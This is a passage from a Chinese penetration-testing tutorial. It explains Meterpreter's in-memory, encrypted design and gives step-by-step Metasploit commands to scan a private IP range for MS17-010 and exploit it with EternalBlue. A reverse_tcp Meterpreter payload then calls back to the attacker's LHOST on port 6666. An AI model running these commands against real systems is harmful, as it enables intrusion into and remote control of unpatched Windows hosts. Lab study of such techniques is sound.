首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
5.2 Meterpreter的特点:
Meterpreter完全驻留在内存,没有写入到磁盘。
Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。
默认情况下, Meterpreter的通信是加密的,所以很安全。
扩展性,许多新的特征模块可以被加载。
我们在设置payloads 时,可以将payloads设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter>之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲!
6.MS17_010(永恒之蓝):
我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞。
6.1 查找漏洞相关模块:
1、在kali命令行里面输入命令msfconsole,进入msf框架中:
msfconsole #输入这个命令主要是进入msf渗透框架中
2、搜索MS17_010漏洞:
命令:
search ms17_010 #利用search命令,搜索漏洞相关利用模块
这里找到了四个模块,前三个是漏洞利用模块,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。
6.2 利用Auxiliary辅助探测模块对漏洞进行探测:
Auxiliary辅助探测模块:
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测:
命令:
use auxiliary/scanner/smb/smb_ms17_010
2、查看这个模块需要配置的信息:
命令:
show options #查看这个模块需要配置的信息
3、设置要探测的远程目标:
注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
命令:
set rhosts 192.168.100.100-192.168.100.190
4、对上面设置的ip范围内的主机进行攻击:
注:有+号的就是可能存在漏洞的主机,这里有2个主机存在漏洞
命令:
exploit
6.3 使用Exploit漏洞利用模块对漏洞进行利用:
1、选择漏洞攻击模块,对漏洞进行利用:
命令:
use exploit/windows/smb/ms17_010_eternalblue
2、查看这个漏洞的信息:
命令:
info: #查看这个漏洞的信息
3、查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统:
命令:
show targets
注:这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。
6.4 Payload攻击载荷模块:
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
1、查看攻击载荷:
命令:
show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
2、设置攻击载荷:
命令:
set payload windows/x64/meterpreter/reverse_tcp
3、查看模块需要配置的参数:
命令:
show options
4、设置攻击载荷参数:
命令:
set RHOST 192.168.100.158 #设置RHOST,也就是要攻击主机的ip
set LHOST 192.168.100.132 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;
5、进行攻击:
7. 后渗透阶段:
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的6666端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现:
Meterpreter的命令用法:
Meterpreter > ?
========================================